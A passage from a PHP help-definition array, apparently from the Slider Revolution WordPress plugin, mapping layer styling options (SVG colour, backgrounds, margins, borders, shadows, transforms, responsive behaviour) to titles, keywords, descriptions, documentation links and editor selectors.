"#layer_selectable" ) ) ), 'svg' => array( 'originalColor' => array( $t => __("SVG Original Color", 'revsliderhelp'), $h => "idle.svg.originalColor", $k => array("svg", "svg color", "layer svg", "svg original color", "original color"), $d => __("Disable this option to change color of svg elements in layer", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::object'), $m => "#module_layers_trigger, #gst_layer_3, #", $st => '#form_layerstyle_svg', $f => "*[data-r='idle.svg.originalColor']" ) ), 'color' => array( $t => __("SVG Color", 'revsliderhelp'), $h => "idle.svg.color.#size#.v", $k => array("svg", "svg color", "layer svg", "svg icon", "icon"), $d => __("The color of the currently selected SVG Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::object'), $m => "#module_layers_trigger, #gst_layer_3, #", $st => '#form_layerstyle_svg', $f => "#layerSVGColor" ) ), 'stroke_color' => array( $t => __("Stroke/Border Color", 'revsliderhelp'), $h => "idle.svg.strokeColor", $k => array("svg", "svg stroke", "svg border", "svg stroke color", "border color", "stroke color", "layer svg", "svg icon", "icon"), $d => __("The border/stroke color of the currently selected SVG Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::object'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#layerStrokeColor', $f => "#layerStrokeColor" ) ), 'stroke_width' => array( $t => __("Stroke/Border Width/Size", 'revsliderhelp'), $h => "idle.svg.strokeWidth", $k => array("svg", "svg border", "layer svg", "svg icon", "icon", "svg stroke width", "stroke size", "svg border size", "svg border width"), $d => __("The border/stroke width/size of the currently selected SVG Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::object'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_svg', $f => "*[data-r='idle.svg.strokeWidth']" ) ), 'dash' => array( $t => __("Dash-Array", 'revsliderhelp'), $h => "idle.svg.strokeDashArray", $k => array("svg", "svg dash", "svg dash array", "svg dash-array", "dash-array", "dash array"), $d => __("The dash-array for the currently selected SVG. Displays the SVG stroke/border as dashes.", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::object'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_svg', $f => "*[data-r='idle.svg.strokeDashArray']" ) ), 'dash_offset' => array( $t => __("Dash-Array Offset", 'revsliderhelp'), $h => "idle.svg.strokeDashOffset", $k => array("svg", "svg dash", "svg dash offset", "svg dash-array", "dash-array", "dash array", "dash offset"), $d => __("The stroke-dash-offset for the currently selected SVG", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::object'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_svg', $f => "*[data-r='idle.svg.strokeDashOffset']" ) ), 'styleAll' => array( $t => __("SVG Style All Elements", 'revsliderhelp'), $h => "idle.svg.styleAll", $k => array("svg", "svg color", "layer svg", "svg style all", "style all elements"), $d => __("By default only SVG path gets custom style, Enabling this option will style all svg elements like ellipse, polygon etc", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::object'), $m => "#module_layers_trigger, #gst_layer_3, #", $st => '#form_layerstyle_svg', $f => "*[data-r='idle.svg.styleAll']" ) ) ), 'background' => array( 'bg_color' => array( $t => __("Background Color", 'revsliderhelp'), $h => "idle.backgroundColor", $k => array("bg", "background", "background color", "layer background", "layer background color", "layer bg", "bg color"), $d => __("Set a background color for the Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#background", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_bg', $f => "#layerBGColor" ) ), 'bg_image' => array( $t => __("Background Image", 'revsliderhelp'), $h => "idle.backgroundImage", $k => array("bg", "background", "background image", "layer background", "layer background image", "layer bg", "image background"), $d => __("Set a background image for the Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#background", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.backgroundImage']{first}" ) ), 'position' => array( $t => __("BG Image Position", 'revsliderhelp'), $h => "idle.backgroundPosition", $k => array("image", "images", "background", "bg", "bg image", "background position"), $d => __("The CSS background-position for the Layer's background image", 'revsliderhelp'), $a => $u . "font-colors-styling/#background", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_bg', $f => "#layer_bg_position_center-center" ) ), 'fit' => array( $t => __("BG Image Fit", 'revsliderhelp'), $h => "idle.backgroundSize", $k => array("background size", "fit", "image fit", "cover", "contain"), $d => __("The css background-size value for the Layer's background image", 'revsliderhelp'), $a => $u . "font-colors-styling/#background", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_bg', $f => "#layer_bgimage_fit" ) ), 'repeat' => array( $t => __("BG Image Repeat", 'revsliderhelp'), $h => "idle.backgroundRepeat", $k => array("background repeat", "repeat"), $d => __("The css background-repeat value for the Layer's background image", 'revsliderhelp'), $a => $u . "font-colors-styling/#background", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_bg', $f => "#layer_bgimage_repeat" ) ) ), 'margins' => array( 'margin_top' => array( $t => __("Margin Top", 'revsliderhelp'), $h => "idle.margin.#size#.v.0", $k => array("layer margin", "layers margin", "margin top", "margin-top"), $d => __("The top margin for the currently Selected Layer. Useful for rows/columns.", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "*[data-r='idle.margin.#size#.v.0']" ) ), 'margin_right' => array( $t => __("Margin Right", 'revsliderhelp'), $h => "idle.margin.#size#.v.1", $k => array("layer margin", "layers margin", "margin right", "margin-right"), $d => __("The right margin for the currently Selected Layer. Useful for rows/columns.", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "*[data-r='idle.margin.#size#.v.1']" ) ), 'margin_bottom' => array( $t => __("Margin Bottom", 'revsliderhelp'), $h => "idle.margin.#size#.v.2", $k => array("layer margin", "layers margin", "margin bottom", "margin-bottom"), $d => __("The bottom margin for the currently Selected Layer. Useful for rows/columns.", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "*[data-r='idle.margin.#size#.v.2']" ) ), 'margin_left' => array( $t => __("Margin Left", 'revsliderhelp'), $h => "idle.margin.#size#.v.3", $k => array("layer margin", "layers margin", "margin left", "margin-left"), $d => __("The left margin for the currently Selected Layer. Useful for rows/columns.", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "*[data-r='idle.margin.#size#.v.3']" ) ) ), 'paddings' => array( 'padding_top' => array( $t => __("Padding Top", 'revsliderhelp'), $h => "idle.padding.#size#.v.0", $k => array("layer padding", "layers padding", "padding top", "padding-top"), $d => __("The top padding for the currently Selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "#idle_layer_padding_top" ) ), 'padding_right' => array( $t => __("Padding Right", 'revsliderhelp'), $h => "idle.padding.#size#.v.1", $k => array("layer padding", "layers padding", "padding right", "padding-right"), $d => __("The right padding for the currently Selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "*[data-r='idle.padding.#size#.v.1']" ) ), 'padding_bottom' => array( $t => __("Padding Bottom", 'revsliderhelp'), $h => "idle.padding.#size#.v.2", $k => array("layer padding", "layers padding", "padding bottom", "padding-bottom"), $d => __("The bottom padding for the currently Selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "*[data-r='idle.padding.#size#.v.2']" ) ), 'padding_left' => array( $t => __("Padding Left", 'revsliderhelp'), $h => "idle.padding.#size#.v.3", $k => array("layer padding", "layers padding", "padding left", "padding-left"), $d => __("The left padding for the currently Selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_space', $f => "*[data-r='idle.padding.#size#.v.3']" ) ) ), 'border' => array( 'border_color' => array( $t => __("Border Color", 'revsliderhelp'), $h => "idle.borderColor", $k => array("border", "border color", "layer border", "layer border color", "layers border"), $d => __("Add a border to the Layer's HTML element", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "#layerBorderColor" ) ), 'border_style' => array( $t => __("Border Style", 'revsliderhelp'), $h => "idle.borderStyle.#size#.v", $k => array("border", "border style", "layer border", "layer border style", "layers border"), $d => __("The CSS border-style to use for the Layer's border", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "#layer_border_style" ) ), 'border_width_top' => array( $t => __("Border Top Size", 'revsliderhelp'), $h => "idle.borderWidth.0", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's top size (border-top-width)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderWidth.0']" ) ), 'border_width_right' => array( $t => __("Border Right Size", 'revsliderhelp'), $h => "idle.borderWidth.1", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's right size (border-right-width)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderWidth.1']" ) ), 'border_width_bottom' => array( $t => __("Border Bottom Size", 'revsliderhelp'), $h => "idle.borderWidth.2", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's bottom size (border-bottom-width)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderWidth.2']" ) ), 'border_width_left' => array( $t => __("Border Left Size", 'revsliderhelp'), $h => "idle.borderWidth.3", $k => array("border", "border size", "layer border", "layer border size", "layers border", "border-width"), $d => __("The border's left size (border-left-width)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderWidth.3']" ) ) ), 'border_radius' => array( 'border_radius_top_left' => array( $t => __("Border Radius Top Left", 'revsliderhelp'), $h => "idle.borderRadius.v.0", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The top-left corner border-radius (px or %)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderRadius.v.0']" ) ), 'border_radius_top_right' => array( $t => __("Border Radius Top Right", 'revsliderhelp'), $h => "idle.borderRadius.v.1", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The top-right corner border-radius (px or %)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderRadius.v.1']" ) ), 'border_radius_bottom_left' => array( $t => __("Border Radius Bottom Left", 'revsliderhelp'), $h => "idle.borderRadius.v.2", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The bottom-left corner border-radius (px or %)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderRadius.v.2']" ) ), 'border_radius_bottom_right' => array( $t => __("Border Radius Bottom Right", 'revsliderhelp'), $h => "idle.borderRadius.v.3", $k => array("border radius", "border-radius", "layer border radius", "layer border-radius"), $d => __("The bottom-right corner border-radius (px or %)", 'revsliderhelp'), $a => $u . "font-colors-styling/#spacings-border", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_border', $f => "*[data-r='idle.borderRadius.v.3']" ) ) ) ), 'gst_layer_2' => array( 'horizontal_align' => array( $t => __("Horizontal Align", 'revsliderhelp'), $h => "position.horizontal.#size#.v", $k => array("align", "alignment", "layer align", "position", "layer position", "layer alignment", "horizontal align"), $d => __("Align the Layer horizontally to the Slider content or the entire Slider", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => ".layer_hor_selector.selected" ) ), 'vertical_align' => array( $t => __("Vertical Align", 'revsliderhelp'), $h => "position.vertical.#size#.v", $k => array("align", "alignment", "layer align", "position", "layer position", "layer alignment", "vertical align"), $d => __("Align the Layer vertically to the Slider content or the entire Slider", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => ".layer_ver_selector.selected" ) ), 'offsetx' => array( $t => __("Offset X", 'revsliderhelp'), $h => "position.x.#size#.v", $k => array("layer position", "layer offset"), $d => __("Offset the Layer's horizontal position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "#layer_pos_x" ) ), 'offsety' => array( $t => __("Offset Y", 'revsliderhelp'), $h => "position.y.#size#.v", $k => array("layer position", "layer offset"), $d => __("Offset the Layer's vertical position by this amount. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "#layer_pos_y" ) ), 'width' => array( $t => __("Layer Width", 'revsliderhelp'), $h => "size.width.#size#.v", $k => array("layer width", "layers width", "layer size", "layers size"), $d => __("The Layer's width for the current device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "#layer_width" ) ), 'height' => array( $t => __("Layer Height", 'revsliderhelp'), $h => "size.height.#size#.v", $k => array("layer height", "layers height", "layer size", "layers size"), $d => __("The Layer's height for the current device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "#layer_height" ) ), 'size_presets' => array( $t => __("Size Presets", 'revsliderhelp'), $h => "size.covermode", $k => array("size presets", "full width", "full height", "stretch", "cover"), $d => __("Choose to set the Layer's width/height as full-width, full-height. 'Stretch' will be 100% width/height, 'Cover' will maintain aspect ratio.", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected::image||video||shape'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "#layer_covermode" ) ), 'align_by' => array( $t => __("Align By Slider/Content", 'revsliderhelp'), $h => "behavior.baseAlign", $k => array("layers", "layer align", "layer alignment"), $d => __("Choose 'Slider' to align based on the Slider's full display, or 'Content' to align against the Slider's grid area", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_basic', $f => "*[name='layer_within_align']:checked" ) ), 'additional_settings' => array( 'min_width' => array( $t => __("Minimum Width", 'revsliderhelp'), $h => "size.minWidth.#size#.v", $k => array("layer min-width", "layers min-width", "layer size", "layers size"), $d => __("The Layer's CSS min-width for the current device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_additional', $f => "#layer_min_width" ) ), 'max_width' => array( $t => __("Maximum Width", 'revsliderhelp'), $h => "size.maxWidth.#size#.v", $k => array("layer max-width", "layers max-width", "layer size", "layers size"), $d => __("The Layer's CSS max-width for the current device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_additional', $f => "#layer_max_width" ) ), 'min_height' => array( $t => __("Minimum Height", 'revsliderhelp'), $h => "size.minHeight.#size#.v", $k => array("layer min-height", "layers min-height", "layer size", "layers size"), $d => __("The Layer's CSS min-height for the current device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_additional', $f => "#layer_min_height" ) ), 'max_height' => array( $t => __("Maximum Height", 'revsliderhelp'), $h => "size.maxHeight.#size#.v", $k => array("layer height", "layers height", "layer size", "layers size"), $d => __("The Layer's CSS max-height for the current device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_additional', $f => "#layer_max_height" ) ) ), 'responsive_behavior' => array( 'intelligent_inheriting' => array( $di => "layers_intelligent_inheriting", $t => __("Intelligent Inheriting", 'revsliderhelp'), $h => "behavior.intelligentInherit", $k => array("responsive", "intelligent inheriting", "responsive behavior"), $d => __("Automatically resize/reposition new Layers for each device viewport inside the editor", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_advanced', $f => "#layer_behavior_intelSize" ) ), 'inherit_from_desktop' => array( $t => __("Inherit from Desktop", 'revsliderhelp'), $h => "resetIntelligentInherits", $k => array("responsive behavior", "inherit all values", "inherit all values from desktop", "intelligent inheriting"), $d => __("Automatically resize/reposition all Layers for each device viewport inside the editor", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected', array($p => '#slide#.layers.#layer#.behavior.intelligentInherit', $v => true, $o => 'layers_intelligent_inheriting')), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_advanced', $f => "#intelligent_buttons_true" ) ), 'reset_from_desktop' => array( $t => __("Reset from Desktop", 'revsliderhelp'), $h => "inheritValuesFromDesktop", $k => array("responsive behavior", "reset all values", "reset all values from desktop", "intelligent inheriting"), $d => __("Reset the size/position of all Layers to their desktop values for each viewport inside the editor", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected', array($p => '#slide#.layers.#layer#.behavior.intelligentInherit', $v => false, $o => 'layers_intelligent_inheriting')), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_advanced', $f => "#intelligent_buttons_false" ) ), 'resize_between_devices' => array( $t => __("Resize Between Devices", 'revsliderhelp'), $h => "behavior.autoResponsive", $k => array("responsive", "resize", "resize layers", "resize layer", "layer resizing", "layer sizing", "responsive sizes", "responsive sizing"), $d => __("Automatically resize Layers for each responsive device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_advanced', $f => "#layer_behavior_autoResponsive" ) ), 'responsive_offsets' => array( $t => __("Responsive Offsets", 'revsliderhelp'), $h => "behavior.responsiveOffset", $k => array("responsive", "responsive offset", "responsive offsets"), $d => __("Automatically adjust the positioning for Layers for each responsive device viewport", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_advanced', $f => "#layer_behavior_responsiveOffset" ) ), 'responsive_children' => array( $t => __("Responsive Children", 'revsliderhelp'), $h => "behavior.responsiveChilds", $k => array("responsive", "responsive children"), $d => __("Choose to resize the Layer's inner HTML elements if the Layer includes custom HTML", 'revsliderhelp'), $a => $u . "size-position/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_2", $st => '#form_layerposition_advanced', $f => "#layer_behavior_responsiveChilds" ) ) ), ), 'gst_layer_6' => array( 'basic_transforms' => array( 'rotationx' => array( $t => __("Rotation X", 'revsliderhelp'), $h => "idle.rotationX", $k => array("advanced style", "transform", "rotation", "rotationx"), $d => __("Add a rotateX transform to the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_basic_transforms', $f => "*[data-r='idle.rotationX']" ) ), 'rotationy' => array( $t => __("Rotation Y", 'revsliderhelp'), $h => "idle.rotationY", $k => array("advanced style", "transform", "rotation", "rotationx"), $d => __("Add a rotateY transform to the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_basic_transforms', $f => "*[data-r='idle.rotationY']" ) ), 'rotationz' => array( $t => __("Rotation Z", 'revsliderhelp'), $h => "idle.rotationZ", $k => array("advanced style", "transform", "rotation", "rotationx"), $d => __("Add a rotateZ transform to the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_basic_transforms', $f => "*[data-r='idle.rotationZ']" ) ), 'opacity' => array( $t => __("Opacity", 'revsliderhelp'), $h => "idle.opacity", $k => array("advanced style", "transform", "opacity"), $d => __("Adjust the opacity/transparency for the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.opacity']" ) ) ), 'box_shadow' => array( 'enable' => array( $t => __("Enable Box Shadow", 'revsliderhelp'), $h => "idle.boxShadow.inuse", $k => array("box shadow", "box-shadow", "layer box-shadow", "layer box shadow", "boxshadow"), $d => __("Add a CSS box-shadow to the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.boxShadow.inuse']" ) ), 'container' => array( $t => __("Apply Shadow to", 'revsliderhelp'), $h => "idle.boxShadow.container", $k => array("box shadow", "box shadow container", "shadow on"), $d => __("'Wrapper Container' is the Layer's outer-most HTML wrapper div, and 'Layer Container' is the content's main div", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.boxShadow.container']:checked" ) ), 'offsetx' => array( $t => __("Offset X", 'revsliderhelp'), $h => "idle.boxShadow.hoffset.#size#.v", $k => array("box shadow offset", "box shadow offset x", "shadow offset"), $d => __("The horizontal offset for the box-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.boxShadow.hoffset.#size#.v']" ) ), 'offsety' => array( $t => __("Offset Y", 'revsliderhelp'), $h => "idle.boxShadow.voffset.#size#.v", $k => array("box shadow offset", "box shadow offset y", "shadow offset"), $d => __("The vertical offset for the box-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.boxShadow.voffset.#size#.v']" ) ), 'blur' => array( $t => __("Blur Radius", 'revsliderhelp'), $h => "idle.boxShadow.blur.#size#.v", $k => array("box shadow blur", "box shadow blur radius", "blur radius"), $d => __("The blur-radius value for the Layer's box-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.boxShadow.blur.#size#.v']" ) ), 'spread' => array( $t => __("Spread", 'revsliderhelp'), $h => "idle.boxShadow.spread.#size#.v", $k => array("box shadow spread", "box shadow strength"), $d => __("The spread value for the Layer's box-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "*[data-r='idle.boxShadow.spread.#size#.v']" ) ), 'color' => array( $t => __("Shadow Color", 'revsliderhelp'), $h => "idle.boxShadow.color", $k => array("box shadow color", "shadow color", "box-shadow color"), $d => __("The rgba color for the Layer's box-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg', $f => "#boxShadowColor" ) ) ), 'text_shadow' => array( 'enable' => array( $t => __("Enable Text Shadow", 'revsliderhelp'), $h => "idle.textShadow.inuse", $k => array("text shadow", "text-shadow", "layer text-shadow", "layer text shadow", "textshadow"), $d => __("Add a CSS text-shadow to the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected::text'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg._shft_', $f => "*[data-r='idle.textShadow.inuse']" ) ), 'offsetx' => array( $t => __("Offset X", 'revsliderhelp'), $h => "idle.textShadow.hoffset.#size#.v", $k => array("text shadow offset", "text shadow offset x", "shadow offset"), $d => __("The horizontal offset for the text-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected::text'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg._shft_', $f => "*[data-r='idle.textShadow.hoffset.#size#.v']" ) ), 'offsety' => array( $t => __("Offset Y", 'revsliderhelp'), $h => "idle.textShadow.voffset.#size#.v", $k => array("text shadow offset", "text shadow offset y", "shadow offset"), $d => __("The vertical offset for the text-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected::text'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg._shft_', $f => "*[data-r='idle.textShadow.voffset.#size#.v']" ) ), 'blur' => array( $t => __("Blur Radius", 'revsliderhelp'), $h => "idle.textShadow.blur.#size#.v", $k => array("text shadow blur", "text shadow blur radius", "blur radius"), $d => __("The blur-radius value for the Layer's text-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected::text'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg._shft_', $f => "*[data-r='idle.textShadow.blur.#size#.v']" ) ), 'color' => array( $t => __("Shadow Color", 'revsliderhelp'), $h => "idle.textShadow.color", $k => array("text shadow color", "shadow color", "text-shadow color"), $d => __("The rgba color for the Layer's text-shadow", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected::text'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_bg._shft_', $f => "#textShadowColor" ) ) ), 'blend_mode' => array( 'filter' => array( $t => __("Blend Mode Filter", 'revsliderhelp'), $h => "idle.filter.blendMode", $k => array("blend mode", "blend mode filter", "filter", "layer blend mode", "blend-mode"), $d => __("The CSS background-blend-mode filter for the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_css', $f => "*[data-r='idle.filter.blendMode']" ) ), 'show_in_editor' => array( $t => __("Show in Editor Preview", 'revsliderhelp'), $h => "idle.filter.showInEditor", $k => array("blend mode", "blend mode filter", "filter", "layer blend mode", "blend-mode", "show in editor"), $d => __("Show the blend-mode both live in the Slider and also in the admin editing stage", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layerstyle_css', $f => "*[data-r='idle.filter.showInEditor']" ) ) ), 'spike_masks' => array( 'enable' => array( $di => 'spike_masks', $t => __("Enable Spike Masks", 'revsliderhelp'), $h => "idle.spikeUse", $k => array("advanced style", "spikes", "corner", "spike", "corners"), $d => __("Add creative edges and corners to your content", 'revsliderhelp'), $a => $u . "font-colors-styling/#advanced-style", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_6", $st => '#form_layer_spiketyle', $f => "#layer_userSpikes" ) ), 'left_spike' => array( $t => __("Left Spike", 'revsliderhelp'), $h => "idle.spikeLeft", $k => array("advanced style", "spikes", "corner", "spike", "corners"), $d => __("Add creative edges and corners to the left side of your content", 